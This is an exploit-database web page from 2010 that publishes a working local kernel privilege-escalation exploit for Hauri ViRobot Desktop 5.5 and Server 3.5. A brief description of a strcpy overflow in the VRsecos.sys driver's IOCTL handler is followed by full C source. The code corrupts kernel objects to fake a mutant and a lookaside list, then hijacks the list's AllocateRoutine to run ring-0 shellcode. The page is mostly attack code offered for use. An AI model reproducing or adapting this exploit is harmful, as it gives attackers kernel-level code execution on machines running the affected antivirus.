Home / os / win7

[local exploits] - ViRobot Desktop 5.5 and Server 3.5 <=2

Posted on 17 December 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>ViRobot Desktop 5.5 and Server 3.5 &lt;=2008.8.1.1 Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='ViRobot Desktop 5.5 and Server 3.5 &lt;=2008.8.1.1 Privilege Escalation by MJ0011 in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>==================================================================== ViRobot Desktop 5.5 and Server 3.5 &lt;=2008.8.1.1 Privilege Escalation ==================================================================== VULNERABLE PRODUCTS Hauri ViRobot Desktop 5.5 and below Hauri ViRobot Server 3.5 and below DETAILS: VRsecos.sys create a device called &quot;VRsecos&quot; , and handles DeviceIoControl Code = 0x8307202c , which use the function &quot;strcpy&quot; to copy memory from irp systembuffer to driver&#039;s data area , can be overwrite critical kernel object memory in vrsecos.sys &#039; s data area EXPLOIT CODE: (Test On Windows XP SP3 , only for vrsecos.sys == 2008.8.1.1) // virobot0day.cpp : Defines the entry point for the console application. // #include &quot;stdafx.h&quot; #include &quot;windows.h&quot; #include &quot;malloc.h&quot; typedef struct X_DISPATCHER_HEADER{ UCHAR Type ; UCHAR Absolute ; UCHAR Size ; UCHAR Inserted ; ULONG SignalState ; LIST_ENTRY WaitListHead ; }X_DISPATCHER_HEADER , *PX_DISPATCHER_HEADER; typedef struct X_KMUTANT{ X_DISPATCHER_HEADER Header ; LIST_ENTRY MutantListEntry ; PVOID OwnerThread ; UCHAR Abandoned ; UCHAR ApcDisable ; }X_KMUTANT , *PX_KMUTANT; PVOID GetInfoTable(ULONG ATableType) { ULONG mSize = 0x4000; PVOID mPtr = NULL; LONG status; HMODULE hlib = GetModuleHandle(&quot;ntdll.dll&quot;); PVOID pZwQuerySystemInformation = GetProcAddress(hlib , &quot;ZwQuerySystemInformation&quot;); do { mPtr = malloc(mSize); if (mPtr) { __asm { push 0 push mSize push mPtr push ATableType call pZwQuerySystemInformation mov status , eax } } else { return NULL; } if (status == 0xc0000004) { free(mPtr); mSize = mSize * 2; } } while (status == 0xc0000004); if (status == 0) { return mPtr; } free(mPtr); return NULL; } typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; enum { SystemModuleInformation = 11, SystemHandleInformation = 16 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID); typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID); typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)( ULONG x1, ULONG y1, ULONG x2, ULONG y2, ULONG color ); typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)( ULONG Color ); typedef VOID (*INBV_DISPLAY_STRING_FILTER)( PUCHAR *Str ); typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)( INBV_DISPLAY_STRING_FILTER DisplayStringFilter ); typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)( BOOLEAN bEnable ); typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)( ULONG x1, ULONG y1, ULONG x2, ULONG y2 ); typedef VOID (WINAPI *PINBV_DISPLAY_STRING)( PUCHAR Str ); PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; PINBV_DISPLAY_STRING InbvDisplayString= 0 ; #define VGA_COLOR_BLACK 0 #define VGA_COLOR_RED 1 #define VGA_COLOR_GREEN 2 #define VGA_COLOR_GR 3 #define VGA_COLOR_BULE 4 #define VGA_COLOR_DARK_MEGAENTA 5 #define VGA_COLOR_TURQUOISE 6 #define VGA_COLOR_GRAY 7 #define VGA_COLOR_BRIGHT_GRAY 8 #define VGA_COLOR_BRIGHT_RED 9 #define VGA_COLOR_BRIGHT_GREEN 10 #define VGA_COLOR_BRIGHT_YELLOW 11 #define VGA_COLOR_BRIGHT_BULE 12 #define VGA_COLOR_BRIGHT_PURPLE 13 #define VGA_COLOR_BRIGHT_TURQUOISE 14 #define VGA_COLOR_WHITE 15 UCHAR DisplayString[] = &quot; &quot; &quot; &quot; &quot; &quot; &quot; ---- ===== EXPLOIT SUCCESSFULLY ==== ---- &quot; &quot; &quot; &quot; &quot; &quot; ViRobot Desktop 5.5 &amp; ViRobot Server 3.5 Local Privilege Escalation Exploit &quot; &quot; &quot; &quot; VULNERABLE PRODUCT &quot; &quot; &quot; &quot; ViRobot Desktop 5.5 and below &quot; &quot; ViRobot Server 3.5 and below &quot; &quot; &quot; &quot; VULERABLE FILE &quot; &quot; VRsecos.sys &lt;= 2008.8.1.1 &quot; &quot; &quot; &quot; AUTHOR &quot; &quot; &quot; &quot; MJ0011 &quot; &quot; th_decoder$126.com &quot; &quot; &quot; &quot; 2010-8-22 &quot; &quot; &quot; &quot; &quot; &quot; &quot;; VOID InbvShellCode() { //DISABLE INTERRUPT __asm { cli } //RESET TO VGA MODE InbvAcquireDisplayOwnership(); InbvResetDisplay(); //FILL FULL SCREEN InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK); //SET TEXT COLOR InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN); InbvInstallDisplayStringFilter(NULL); InbvEnableDisplayString(TRUE); InbvSetScrollRegion( 0 , 0 , 639 ,477); InbvDisplayString(DisplayString); while(TRUE) { }; } BOOL InbvInit(PVOID ntosbase , PSTR ntosname) { HMODULE hlib = LoadLibrary(ntosname); if (hlib == NULL) { return FALSE ; } InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , &quot;InbvAcquireDisplayOwnership&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , &quot;InbvResetDisplay&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , &quot;InbvSolidColorFill&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , &quot;InbvSetTextColor&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , &quot;InbvInstallDisplayStringFilter&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , &quot;InbvEnableDisplayString&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , &quot;InbvSetScrollRegion&quot;) - (ULONG)hlib + (ULONG)ntosbase); InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , &quot;InbvDisplayString&quot;) - (ULONG)hlib + (ULONG)ntosbase); if (InbvAcquireDisplayOwnership &amp;&amp; InbvResetDisplay &amp;&amp; InbvSolidColorFill &amp;&amp; InbvSetTextColor &amp;&amp; InbvInstallDisplayStringFilter &amp;&amp; InbvEnableDisplayString &amp;&amp; InbvSetScrollRegion &amp;&amp; InbvDisplayString) { return TRUE ; } return FALSE ; } int main(int argc, char* argv[]) { printf(&quot;ViRotbot Desktop 5.5 &amp; ViRobot Server 3.5 vrsecos.sys &lt;= 2008.8.1.1 &quot; &quot;Local Kernel Mode Privilege Escalation Vulnerability POC &quot; &quot;This Exploit Code Only for vrsecos == 2008.8.1.1 &quot; &quot;Test On Windows XP SP3 &quot; &quot;By MJ0011 th_decoder$126.com &quot; &quot;Press Enter &quot;); getchar(); HANDLE hDev = CreateFile(&quot;\\.\VRsecos&quot; , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 ); if (hDev == INVALID_HANDLE_VALUE) { printf(&quot;cannot open device....%u &quot; , GetLastError()); //return 0; } //data for IoControlCode = 8307202C , buffer overrun PVOID pdata = malloc(0x2000); //fill non-zero data memset(pdata , 0x20 , 0x2000); //process mutx ... PX_KMUTANT pmutant = (PX_KMUTANT)((ULONG)pdata + 0x858 + 200); HANDLE hthread = OpenThread(THREAD_ALL_ACCESS , FALSE , GetCurrentThreadId()); PSYSTEM_HANDLE_INFORMATION phi = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(SystemHandleInformation); PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation); //get base address of vrsecos.sys PVOID vrsecosbase = 0 ; ULONG i ; for (i = 0 ; i &lt; pmi-&gt;Count ; i ++) { if (stricmp((PCHAR)(pmi-&gt;Module[i].ImageName + strlen(pmi-&gt;Module[i].ImageName ) - strlen(&quot;vrsecos.sys&quot;)) , &quot;vrsecos.sys&quot;) == 0 ) { vrsecosbase = pmi-&gt;Module[i].Base; break ; } } if (vrsecosbase == 0 ) { printf(&quot;cannot find vrsecos.... &quot;); //return 0 ; } if (!InbvInit(pmi-&gt;Module[0].Base , strrchr(pmi-&gt;Module[0].ImageName , &#039;\&#039;)+1)) { printf(&quot;cannot init inbv system &quot;); return 0 ; } //get thread object PVOID MyThreadOBJ = NULL ; for (i = 0 ; i &lt; phi-&gt;NumberOfHandles ; i ++) { if (phi-&gt;Information[i].HandleValue == (USHORT)hthread &amp;&amp; phi-&gt;Information[i].UniqueProcessId == (USHORT)GetCurrentProcessId()) { MyThreadOBJ = phi-&gt;Information[i].Object; break ; } } if (MyThreadOBJ == NULL) { printf(&quot;cannot find my thread object &quot;); return 0 ; } //for KeWaitForSignleObject //KeWaitForSignleObject will check SignalState pmutant-&gt;Header.SignalState = 0x30303030; pmutant-&gt;MutantListEntry.Flink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0 ); pmutant-&gt;MutantListEntry.Blink = (PLIST_ENTRY)((ULONG)vrsecosbase + 0x2db0) ; //for KeReleaseMutex , Mutant &#039;s owner thread must be our thread when KeReleaseMutex pmutant-&gt;OwnerThread = MyThreadOBJ; //for IOCTL CODE 0x83072014 //spec NPAGED_LOOKASIDE_LIST List // // user address space PVOID pAlloc = VirtualAlloc((PVOID)0x0A0A0A0A , 0x1000 , MEM_RESERVE|MEM_COMMIT , PAGE_READWRITE); if (pAlloc == NULL) { printf(&quot;cannot allocate spec addr %u ! &quot;, GetLastError()); return 0 ; } *(DWORD*)0x0a0a0101 = 0 ; // vrsecos+2d68 &lt; vrsecos+2d64 // and vrsecos+2d68 &lt; 0 *(DWORD*)((ULONG)pdata + 0x81c +200) = 0xc1c1c1c1 ; *(DWORD*)((ULONG)pdata + 0x820 + 200) = 0xc0c0c0c0 ; //fill NPAGED_LOOKASIDE_LIST *(DWORD*)((ULONG)pdata + 0xdd8 + 200) = 0x0a0a0101; *(DWORD*)((ULONG)pdata + 0xddc +200 ) = 0x01010101 ; //fill NPAGE_LOOKASIDE_LIST-&gt;AllocateRoutine //is our R0 Shell Code !!! *(DWORD*)((ULONG)pdata + 0xdd8 + 0x28 +200 ) = (DWORD)InbvShellCode; ULONG btr ; ULONG temp; //memory overflow!! if (!DeviceIoControl(hDev , 0x8307202c , pdata , 0x1000 , NULL , 0 , &amp;btr , NULL )) { printf(&quot;dev ctl 1 failed %u &quot;, GetLastError()); return 0 ; } PVOID pdata2 = malloc(0x6d4); *(DWORD*)pdata2 = 1; *(ULONG*)((ULONG)pdata2 + 8 ) = 0 ; strcpy((PCHAR)((ULONG)pdata2 + 264) , &quot;exploit you !&quot;); strcpy((PCHAR)((ULONG)pdata2 + 464) , &quot;exploit you !!&quot;); //first time , NPAGED_LOOKASIDE_LIST got ZERO !! if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &amp;temp , 4 , &amp;btr , 0 )) { printf(&quot;dev ctrl 2 failed %u &quot;, GetLastError()); return 0 ; } //second time , go NPAGED_LOOKASIDE_LIST-&gt;AllocateRoutine!! if (!DeviceIoControl(hDev , 0x83072014 , pdata2 , 1748 , &amp;temp , 4 , &amp;btr , 0 )) { printf(&quot;dev ctrl 2 failed %u &quot;, GetLastError()); return 0 ; } return 0 ; } # <a href='http://1337db.com/'>1337db.com</a> [2010-12-17]</pre></body></html>

 

TOP